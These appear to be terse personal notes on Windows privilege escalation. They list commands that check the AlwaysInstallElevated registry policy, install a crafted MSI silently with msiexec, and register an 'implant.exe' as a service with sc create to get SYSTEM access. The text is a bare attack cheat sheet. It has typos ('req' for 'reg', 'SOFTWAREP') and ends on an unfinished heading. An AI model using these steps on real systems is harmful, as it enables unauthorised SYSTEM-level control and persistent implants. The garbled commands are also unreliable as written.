Misconfigured Reg

Always install elevated req query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated req query HKCU\SOFTWAREP\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

check is value is set @ 0x1 use MSI wrapper to create - set msiexec /quiet /qn /i MSI_FILE

Admin --> System via Service install Make sure that the implant.exe is a service binary, or make a new the impant run it as a dropper: sc create lol binPath="C:\implant.exe" sc qc lol

vulnerable process/ leaked ProcessHandle: